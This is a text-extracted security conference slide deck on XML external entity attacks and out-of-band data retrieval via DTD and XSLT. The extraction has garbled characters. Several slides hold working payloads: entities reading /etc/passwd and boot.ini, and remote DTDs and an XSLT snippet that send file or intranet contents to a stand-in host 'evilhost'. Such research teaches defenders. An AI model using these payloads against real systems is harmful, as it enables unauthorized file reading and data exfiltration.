xml out of band data retrieval
play

XML Out-Of-Band Data Retrieval Timur Yunusov Alexey - PowerPoint PPT Presentation

XML Out-Of-Band Data Retrieval Timur Yunusov Alexey Osipov Who we are Timur Yunusov: Web Applica8on Security Researcher Interna8onal forum on


  1. XML ¡Out-­‑Of-­‑Band ¡Data ¡Retrieval ¡ Timur ¡Yunusov ¡ Alexey ¡Osipov ¡

  2. Who ¡we ¡are ¡ • Timur ¡Yunusov: ¡ – Web ¡Applica8on ¡Security ¡Researcher ¡ – Interna8onal ¡forum ¡on ¡prac8cal ¡security ¡«Posi8ve ¡ Hack ¡Days» ¡developer ¡ • Alexey ¡Osipov: ¡ – AFack ¡preven8on ¡mechanisms ¡Researcher ¡ – Security ¡tools ¡and ¡Proof ¡of ¡Concepts ¡developer ¡ • SCADA ¡StrangeLove ¡team ¡members ¡

  3. Agenda ¡ • XML ¡Overview ¡ • XML ¡eXternal ¡En88es ¡ • En88es ¡in ¡aFributes ¡ • Out-­‑Of-­‑Band ¡aFack ¡ – DTD ¡ – XSLT ¡ • Summary ¡ • Demos ¡ • Ques8ons ¡

  4. XML ¡OVERVIEW ¡

  5. XML ¡overview ¡ • Very ¡popular ¡protocol ¡lately ¡ – Serializa8on ¡ – SOA-­‑architecture ¡(REST, ¡SOAP, ¡OAuth) ¡ – Human-­‑readable ¡(at ¡least ¡intended ¡to ¡be) ¡ • Many ¡parsers/many ¡op8ons ¡controlling ¡ behavior ¡(over ¡9000) ¡ ¡ • Many ¡xml-­‑extensions ¡like ¡XSLT, ¡SOAP, ¡XML ¡ schema ¡ ¡

  6. XML ¡overview ¡ • Many ¡opportuni8es ¡lead ¡to ¡many ¡ vulnerabili8es: ¡ – Adobe ¡(@agarri_fr, ¡spasibo) ¡ – PostgreSQL ¡(@d0znpp), ¡PHP, ¡Java ¡ • Many ¡hackers ¡techniques ¡

  7. XML ¡EXTERNAL ¡ENTITY ¡

  8. XML ¡enAAes ¡ • En88es: ¡ – Predefined ¡ ¡ &amp; ¡&lt; ¡&#37; ¡ – General ¡ ¡ <!ENTITY ¡general ¡“hello”> ¡ – Parameter ¡ ¡ <!ENTITY ¡% ¡param ¡“hello”> ¡ • General ¡and ¡parameter ¡en88es ¡may ¡be: ¡ – Internal ¡(defined ¡in ¡current ¡DTD) ¡ – External ¡(defined ¡in ¡external ¡resource) ¡

  9. XXE ¡impact ¡ • Local ¡file ¡reading ¡ • Intranet ¡access ¡ • Host-­‑scan/Port-­‑scan ¡ • Remote ¡Code ¡Execu8on ¡(not ¡so ¡o_en) ¡ • Denial ¡of ¡Service ¡

  10. XXE ¡techniques ¡ • XML ¡data ¡output ¡(basic) ¡ • Error-­‑based ¡XXE ¡ – DTD ¡(invalid/values ¡type ¡defini8on) ¡ – Schema ¡valida8on ¡ • Blind ¡techniques ¡ ¡ – XSD ¡values ¡bruteforce ¡(@d0znpp) ¡

  11. Error ¡based ¡output ¡ • Schema ¡valida8on ¡In ¡Xerces ¡ parser ¡error ¡: ¡Invalid ¡URI: ¡: [file] ¡ I/O ¡warning ¡: ¡failed ¡to ¡load ¡external ¡en8ty "[file]“ ¡ parser ¡error ¡: ¡DOCTYPE ¡improperly ¡terminated ¡ Warning: ¡*** ¡ [file] ¡in ¡*** ¡on ¡line ¡11 ¡ <!DOCTYPE ¡html[ ¡ <!ENTITY ¡% ¡foo ¡SYSTEM ¡"file:///c:/boot.ini"> ¡ %foo;]> ¡

  12. XML ¡constraints ¡ • XML ¡validity/well-­‑formedness ¡ – WFC: ¡No ¡External ¡En8ty ¡References ¡… ¡ in ¡aBributes ¡ – WFC: ¡No ¡< ¡in ¡AFribute ¡Values ¡ – WFC: ¡PEs ¡in ¡Internal ¡Subset ¡

  13. Parameter ¡enAAes ¡ resolve/validaAon ¡algorithm ¡ <?xml ¡version="1.0" ¡encoding="uq-­‑8"?> ¡ <!DOCTYPE ¡html ¡[ ¡ <!ENTITY ¡% ¡internal ¡SYSTEM ¡"local_file.xml"> ¡ %internal;]> ¡ <!ENTITY ¡8tle ¡"Hello, ¡World!"> ¡]> ¡ <html>&8tle;</html> ¡ local_file.xml: ¡ <!ENTITY ¡8tle ¡"Hello, ¡World!"> ¡

  14. XXE ¡aJacks ¡restricAons ¡ • XML ¡parser ¡reads ¡only ¡valid ¡xml ¡documents ¡ – No ¡binary ¡=( ¡ ¡ ¡ ¡ ¡ (hFp://www.w3.org/TR/REC-­‑xml/#CharClasses) ¡ ¡ – Malformed ¡first ¡string ¡(no ¡encoding ¡aFribute) ¡ (Some ¡parsers) ¡ – But ¡we ¡have ¡wrappers! ¡ • Resul8ng ¡document ¡should ¡also ¡be ¡valid ¡ – No ¡external ¡en88es ¡in ¡aFributes ¡

  15. ENTITIES ¡IN ¡ATTRIBUTES ¡

  16. System ¡enAAes ¡restricAons ¡ ¡bypass ¡within ¡aJributes ¡ Well-­‑formed ¡constraint: ¡ ¡ – No ¡External ¡En8ty ¡References ¡ • So, ¡this ¡is ¡not ¡possible, ¡right? ¡ <!DOCTYPE ¡root[ ¡ ¡<ENTITY ¡internal ¡SYSTEM ¡"file:///etc/passwd"> ¡ ]> ¡ <root ¡aFrib="&internal;“/> ¡ ¡

  17. System ¡enAAes ¡restricAons ¡ ¡bypass ¡within ¡aJributes ¡ <?xml ¡version="1.0" ¡encoding="uq-­‑8"?> ¡ <!DOCTYPE ¡root ¡[ ¡ <!ENTITY ¡% ¡remote ¡SYSTEM ¡"hFp://evilhost/evil.xml"> ¡ %remote; ¡ <!ENTITY ¡internal ¡'[boot ¡loader] ¡8meout ¡***'> ¡ %param1; ¡]> ¡ <root ¡aFrib="&internal;" ¡/> ¡ Evil.xml ¡ <!ENTITY ¡% ¡payload ¡SYSTEM ¡"file:///c:/boot.ini"> ¡ <!ENTITY ¡% ¡param1 ¡"<!ENTITY ¡internal ¡'%payload;'>"> ¡

  18. PaJern ¡validaAon ¡ ¡ ¡ ¡ ¡<xs:restric8on ¡base="xs:string"> ¡ ¡ ¡ ¡ ¡ ¡ ¡<xs:paFern ¡value="&test;" ¡/> ¡ ¡ ¡ ¡ ¡</xs:restric8on> ¡

  19. DEMO ¡

  20. OUT-­‑OF-­‑BAND ¡ATTACK ¡

  21. XXE ¡aJacks ¡restricAons ¡ Server-­‑side ¡in ¡general ¡(except ¡Adobe ¡XXE ¡SOP ¡ bypass) ¡

  22. XXE ¡OOB ¡

  23. XXE ¡OOB ¡ What ¡other ¡OOB ¡communica8on ¡techniques ¡are ¡ present? ¡ ¡ DNS ¡exfiltra8on ¡via ¡SQL ¡Injec8on ¡(@stamparm) ¡ UTL_HTTP.REQUEST ¡ ¡ xp_fileexist ¡ Dblink ¡ LOAD_FILE ¡

  24. XXE ¡OOB ¡ <?xml ¡version="1.0" ¡encoding="uq-­‑8"?> ¡ <!DOCTYPE ¡root ¡[ ¡ <!DOCTYPE ¡root ¡SYSTEM ¡ “hBp://evilhost/xml.xml”> ¡ <!ENTITY ¡% ¡remote ¡SYSTEM ¡"hFp://evilhost/evil.xml"> ¡ <root> ¡ ¡ ¡ ¡&trick; ¡ %remote; ¡ </root> ¡ %int; ¡ <!ENTITY ¡% ¡trick ¡SYSTEM ¡'hFp://evil/?%5Bboot%20'> ¡ %trick;]> ¡ Evil.xml ¡ <!ENTITY ¡% ¡payl ¡SYSTEM ¡"file:///c:/boot.ini"> ¡ <!ENTITY ¡% ¡int ¡" ¡ <!ENTITY ¡&#37; ¡trick ¡SYSTEM ¡'hFp://evil/?%payl;'> ¡ "> ¡

  25. XXE ¡OOB ¡ DTD ¡Parsing, ¡ SYSTEM ¡reading ¡ XML ¡ AFacker ¡ Server ¡ PROFIT! ¡

  26. Parsing ¡restricAons ¡ • Beside ¡restric8ons ¡of ¡all ¡en88es ¡there ¡are ¡also ¡ new ¡ones ¡ • “PEReferences ¡forbidden ¡in ¡internal ¡ subset” ¡(c) ¡XML ¡Specifica8on ¡ – So ¡we ¡should ¡be ¡able ¡to ¡read ¡some ¡external ¡ resource ¡(local ¡or ¡remote) ¡ – Wrappers ¡

  27. Parsing ¡restricAons ¡ • Quotes ¡are ¡blocking ¡defini8on ¡of ¡en88es ¡ – One ¡should ¡try ¡single/double ¡quotes ¡when ¡ defining ¡en8ty ¡ ¡ <!ENTITY ¡% ¡int ¡"<!ENTITY ¡&#37; ¡trick ¡‘[file ¡ content’]’>" ¡ • Space/new ¡line/other ¡whitespace ¡symbols ¡ should ¡not ¡appear ¡in ¡URI ¡ – Wrappers ¡again ¡=) ¡ – Or ¡not ¡even ¡needed ¡

  28. Vectors ¡ • Depending ¡on ¡parser ¡features ¡– ¡lack ¡of ¡DTD ¡ valida8on ¡in ¡main ¡document ¡doesn’t ¡mean ¡ lack ¡of ¡valida8on ¡everywhere. ¡Some ¡possible ¡ clues: ¡ – External ¡DTD ¡or ¡Internal ¡DTD ¡subset ¡from ¡external ¡ data ¡ – Parameter ¡en88es ¡only ¡ – XSD ¡Schema ¡ – XSLT ¡template ¡

  29. Vectors ¡ • <!DOCTYPE ¡root ¡SYSTEM ¡“…”> ¡ • <!ENTITY ¡external ¡PUBLIC ¡“some_text” ¡“…”> ¡ • <tag ¡xsi:schemaLoca8on=“…”/> ¡ ¡ • <tag ¡xsi:noNamespaceSchemaLoca8on=“…”/> ¡ ¡ • <xs:include ¡schemaLoca8on=“…”> ¡ • <xs:import ¡schemaLoca8on=“…”> ¡ • <?xml-­‑stylesheet ¡href=“…”?> ¡

  30. XSLT ¡OUT-­‑OF-­‑BAND ¡

  31. XSLT ¡OOB ¡ • Controlling ¡XSLT ¡transforma8on ¡template ¡we ¡ can ¡access ¡some ¡data ¡from ¡sensi8ve ¡host: ¡ <xsl:variable ¡name="payload" ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡select="document('hBp://sensiXve_host/',/)"/> ¡ <xsl:variable ¡name="combine" ¡ ¡ ¡ ¡ ¡ ¡select="concat('hBp://evilhost/', ¡$payload)"/> ¡ <xsl:variable ¡name="result" ¡ ¡ ¡ ¡ ¡ ¡select="document($combine)" ¡/> ¡

Download Presentation
Download Policy: The content available on the website is offered to you 'AS IS' for your personal information and use only. It cannot be commercialized, licensed, or distributed on other websites without prior consent from the author. To download a presentation, simply click this link. If you encounter any difficulties during the download process, it's possible that the publisher has removed the file from their server.

Recommend


More recommend